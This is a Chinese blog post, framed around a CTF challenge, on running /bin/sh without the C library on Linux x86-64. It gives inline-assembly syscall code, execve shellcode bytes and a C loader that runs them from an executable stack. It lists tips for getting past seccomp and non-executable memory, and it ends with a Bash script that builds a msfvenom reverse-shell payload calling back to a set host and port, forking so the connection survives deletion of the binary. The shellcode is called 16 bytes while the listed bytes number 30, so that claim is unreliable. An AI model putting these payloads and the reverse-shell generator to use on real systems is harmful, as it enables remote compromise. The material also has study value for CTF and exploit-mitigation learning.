当前位置: 首页 > ops >正文

绕过 C 标准库限制执行系统命令:系统调用、Shellcode 和裸机二进制

引言

在某些编程挑战或受限环境中,例如 CTF竞赛或嵌入式系统,C 标准库(libc)可能被明确禁止使用。这种限制阻止了使用便捷的函数,如 system()execve(),迫使开发者直接与操作系统交互。
在这里插入图片描述

在一道题目中,给定了编译参数如下: gcc -std=c11 -nostdinc -I/var/www/include -z execstack -fno-stack-protector -no-pie test.c -o a.out,它禁用了标准库的包含,并放宽了某些安全限制,为使用低级技术(如系统调用和 shellcode)打开了大门。本文将探讨在 Linux x86-64 系统上如何绕过这些限制以执行任意命令,特别是启动 /bin/sh,主要通过两种方法:不使用 libc 的手写 C 系统调用和纯 shellcode 注入。我们还将讨论常见问题、优化技巧和实际实现,包括一个 shellcode 加载器脚本。


理解约束

给定的编译参数提供了关键的环境信息:

  • -nostdinc:阻止包含标准 C 库头文件,确保代码不能依赖标准库。
  • -z execstack:使栈内存可执行,允许在栈上运行代码(如 shellcode)。
  • -fno-stack-protector:禁用栈溢出保护(栈缓冲区溢出检查),便于利用栈溢出。
  • -no-pie:禁用位置无关可执行文件(PIE),生成的二进制文件使用固定地址,便于 shellcode 跳转。
  • -std=c11:使用 C11 标准,但不影响核心限制。
  • -I/var/www/include:指定自定义头文件路径,但不提供标准库功能。

目标是通过直接与 Linux 内核交互,执行 /bin/sh,而核心方法是使用 execve 系统调用(系统调用号 59)。由于标准库被禁用,我们需要通过内联汇编直接调用 syscall 指令或使用纯 shellcode 来实现。

方法一:手写系统调用(无 libc 的 C 程序)

实现原理

Linux 内核通过系统调用(syscall)提供服务,允许用户态程序请求内核执行特定操作,例如启动新进程或打开文件。execve 系统调用可以执行 /bin/sh,其原型为:

int execve(const char *pathname, char *const argv[], char *const envp[]);

在 x86-64 架构下,系统调用通过 syscall 指令触发,参数通过寄存器传递(rdirsirdx 等),系统调用号存储在 rax 中。对于 execve,我们需要:

  • rax = 59execve 的系统调用号)
  • rdi:指向 /bin/sh 字符串的指针
  • rsiargv(通常为 NULL
  • rdxenvp(通常为 NULL

由于不能使用 libc,我们需要通过内联汇编直接发出 syscall,并确保程序不依赖标准库的启动代码(如 crt0)。

最小 C 代码实现

以下是一个最小化的 C 程序,使用内联汇编实现 execve("/bin/sh", NULL, NULL)

// mini.c
__attribute__((naked, noreturn)) void _start() {asm volatile("lea   binsh(%rip), %rdi \n\t"   // pathname"xor   %rsi, %rsi               \n\t"   // argv = NULL"xor   %rdx, %rdx               \n\t"   // envp = NULL"mov   $59, %rax                \n\t"   // execve"syscall                        \n\t""hlt                            \n\t"   // never return"binsh: .asciz \"/bin/sh\"");
}

代码解析

  • __attribute__((naked, noreturn))
    • naked:告诉编译器不要为函数生成序言和结尾代码(例如栈帧设置),完全由汇编控制。
    • noreturn:指示函数不会返回,避免编译器生成不必要的返回代码。
  • _start:这是程序的入口点,取代标准 C 的 main 函数,因为我们不使用 libc 的启动代码。
  • 内联汇编
    • lea binsh(%rip), %rdi:将 /bin/sh 字符串的地址加载到 rdi(RIP 相对寻址,确保位置无关)。
    • xor %rsi, %rsixor %rdx, %rdx:将 argvenvp 设置为 NULL
    • mov $59, %rax:设置系统调用号为 59(execve)。
    • syscall:触发系统调用,执行 /bin/sh
    • hlt:停止执行,防止程序继续运行(实际上不会到达此指令,因为 execve 会替换进程映像)。
    • binsh: .asciz "/bin/sh":定义一个以空字符结尾的字符串 /bin/sh

编译与链接

为了生成不依赖 libc 的可执行文件,使用以下命令:

gcc -nostdlib -static -Wl,--build-id=none -o mini mini.c
strip -s mini
  • -nostdlib:不链接标准库或启动代码,确保二进制文件完全独立。
  • -static:静态链接,避免依赖动态链接器(如 ld.so)。
  • -Wl,--build-id=none:移除构建 ID,进一步减小二进制体积。
  • strip -s mini:去除符号表和调试信息,将二进制文件缩小到几百字节。

生成的 mini 文件是一个极小的静态二进制文件,直接调用内核的 execve 服务,启动 /bin/sh

优化与控制体积

静态链接可能会生成较大的二进制文件(几 KB)。为了进一步优化,可以使用自定义链接脚本:

ld -Ttext 0x400000 -e _start mini.o -o mini
  • -Ttext 0x400000:将代码段起始地址设置为 0x400000(ELF 默认文本段地址)。
  • -e _start:指定入口点为 _start
  • mini.o:由 gcc -c mini.c 编译得到的目标文件。

这种方法可以将二进制文件控制在 1 KB 以内,适合受限环境。

方法二:纯 Shellcode 实现

实现原理

Shellcode 是一段紧凑的机器码,设计为在受限环境中直接执行。由于题目放宽了栈保护(-z execstack-fno-stack-protector),我们可以将 shellcode 写入可执行内存(例如栈或数据段),然后跳转执行。以下是一个 16 字节的 shellcode,用于调用 execve("/bin/sh", NULL, NULL)

; nasm -f bin sh.s -o sh.bin
BITS 64lea    rdi, [rel binsh]xor    rsi, rsixor    rdx, rdxmov    rax, 59syscall
binsh: db "/bin/sh",0

机器码

汇编后,生成以下 16 字节机器码:

48 8D 3D 0E 00 00 00   ; lea rdi,[rip+0xe]
48 31 F6               ; xor rsi,rsi
48 31 D2               ; xor rdx,rdx
48 C7 C0 3B 00 00 00   ; mov rax,0x3b
0F 05                  ; syscall
2F 62 69 6E 2F 73 68 00 ; "/bin/sh",0

使用场景

如果题目存在栈溢出漏洞,并且栈可执行(由 -z execstack 保证),可以将上述机器码写入栈或其他可执行内存区域,然后将控制流跳转到该地址。跳转可以通过以下方式实现:

  • 栈溢出:覆盖返回地址为 shellcode 地址。
  • 函数指针覆盖:将函数指针指向 shellcode。
  • 直接调用:将 shellcode 放入 .data.bss 段,转换为函数指针调用。

加载 Shellcode 的 C 程序

为了方便注入 shellcode,可以使用以下 C 程序加载并执行它:

int main(void) {unsigned char sc[] = {0x48, 0x8D, 0x3D, 0x0E, 0x00, 0x00, 0x00,0x48, 0x31, 0xF6,0x48, 0x31, 0xD2,0x48, 0xC7, 0xC0, 0x3B, 0x00, 0x00, 0x00,0x0F, 0x05,0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00};((void(*)())sc)();return 0;
}
  • sc[]:存储 shellcode 的字节数组。
  • ((void(*)())sc)():将数组转换为函数指针并调用,执行 shellcode。

编译时使用题目提供的参数:

gcc -std=c11 -nostdinc -I/var/www/include -z execstack -fno-stack-protector -no-pie test.c -o a.out

由于 -z execstacksc[] 所在的栈内存是可执行的,shellcode 将直接运行并启动 /bin/sh

常见问题与解决方案

在实际环境中,可能遇到以下挑战:

  1. 没有 /bin/sh

    • 解决方法:使用 openreadwrite 系统调用实现一个简单的 shell。例如:
      int open(const char *pathname, int flags);
      ssize_t read(int fd, void *buf, size_t count);
      ssize_t write(int fd, const void *buf, size_t count);
      
      通过这些调用读写标准输入输出,模拟 shell 功能。
    • 替代方法:使用 openatexecveat 访问 /proc/self/fd/3 等文件描述符。
  2. Seccomp 沙箱限制

    • 解决方法:
      • 使用 prctl(PR_SET_SECCOMP, 0) 尝试禁用 seccomp(需要权限)。
      • 使用 ptrace 修改自身进程的 seccomp 规则(高级技巧)。
      • 退而求其次,使用 openreadwrite 系统调用(通常未被 seccomp 禁用)实现 ORW(Open-Read-Write)攻击。
  3. 栈不可执行

    • 解决方法:
      • 将 shellcode 放入 .bss.data 段(这些段通常是可写的)。
      • 使用 mmap 系统调用分配一块 RWX(可读、可写、可执行)内存:
        void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
        
        设置 prot = PROT_READ | PROT_WRITE | PROT_EXECflags = MAP_PRIVATE | MAP_ANONYMOUS
  4. 二进制文件体积过大

    • 解决方法:如前所述,使用自定义链接脚本或 strip 工具减少体积。
    • 极致优化:直接生成纯机器码(shellcode),避免 ELF 文件头。

Shellcode 加载器脚本

为了自动化生成反弹 shell 的 shellcode 并嵌入 C 程序,我写了如下 Bash 脚本:

#!/usr/bin/env bash
LHOST="192.168.56.10"
LPORT="4444"
OUT_C="test.c"# 1. 生成 shellcode
msfvenom -p linux/x64/shell_reverse_tcp \LHOST="$LHOST" LPORT="$LPORT" \-f raw 2>/dev/null > /tmp/rev.raw
[[ -s /tmp/rev.raw ]] || { echo "[-] msfvenom failed"; exit 1; }# 2. 转换为十六进制
SC_HEX=$(xxd -p -c 1 /tmp/rev.raw | sed 's/^/0x/' | paste -sd',' -)# 3. 生成 C 文件(子进程执行)
cat > "$OUT_C" <<EOF
int fork(void);
int execve(const char *p, char *const a[], char *const e[]);int main(void)
{if (fork() == 0) {unsigned char sc[] = {$SC_HEX};((void(*)())sc)();}return 0;
}
EOFecho "[+] Generated $OUT_C"

脚本解析

  • msfvenom:使用 Metasploit 的 msfvenom 生成反向 shell shellcode,连接到指定 LHOSTLPORT
  • xxd:将原始 shellcode 转换为十六进制格式,适配 C 数组。
  • fork():在 C 程序中创建子进程执行 shellcode,主进程保持运行,确保二进制文件被删除后不断连。

使用方法

  1. 设置 LHOSTLPORT 为你的监听地址和端口。
  2. 运行脚本,生成 test.c
  3. 使用题目提供的编译命令编译:
    gcc -std=c11 -nostdinc -I/var/www/include -z execstack -fno-stack-protector -no-pie test.c -o a.out
    
  4. LHOST:LPORT 上启动监听器(如 nc -lvp 4444),运行 a.out,获取反向 shell。

结论

在禁用 C 标准库的 Linux x86-64 环境中,通过直接使用 syscall 指令或 shellcode,我们可以绕过限制并执行任意命令(如启动 /bin/sh)。方法一(C 系统调用)适合快速开发和调试,方法二(纯 shellcode)则适合极小体积和漏洞利用场景。

总的来说,“禁止 libc” 只是让你丢掉 system() 这种糖,无论环境如何限制,只要还能发出 0x80 或 syscall 指令,你就能让内核干活。

http://www.xdnf.cn/news/18226.html

相关文章:

  • 税务专业人员能力构建与发展路径指南
  • Qt5多线程编程详细讲解
  • [递归回溯]679. 24 点游戏
  • 基于RK3568/J6412的EMU多网口控制主机,助力储能工业互联管理和运维
  • PyTorch 社区贡献 和 设计原则
  • 第5课_Rust生命周期和泛型
  • Android MVVM(Model-View-ViewModel)架构
  • 从零开始的云计算生活——第四十七天,细水长流,kubernetes模块之ingress资源对象
  • 23TaskExecutor初始化
  • 【ansible】4.实施任务控制
  • AI 伦理的 “灰色地带”:当算法拥有决策权,公平与隐私该如何平衡?
  • 工地智能安全带让高空作业更安全
  • Kafka如何保证消费确认与顺序消费?
  • gcc 与 g++ 的区别:本身不是编译器而是编译器驱动
  • 数据库优化提速(一)之进销存库存管理—仙盟创梦IDE
  • 【Tech Arch】Apache Pig大数据处理的高效利器
  • 【JavaEE】多线程 -- 线程池
  • 基于单片机太阳能充电器/太阳能转换电能
  • 30. 技术专题-锁
  • HTTP的协议
  • .gitignore 文件 记录
  • Linux服务器性能优化总结
  • 【Tech Arch】Apache HBase分布式 NoSQL 数据库
  • redis---常用数据类型及内部编码
  • 如何低比特量化算法的工程实战与落地优化
  • 【考研408数据结构-08】 图论基础:存储结构与遍历算法
  • 让Chrome信任自签名证书
  • AI时代下阿里云基础设施的稳定性架构揭秘
  • C#海康SDK—热成像测温篇
  • gitlab、jenkins等应用集成ldap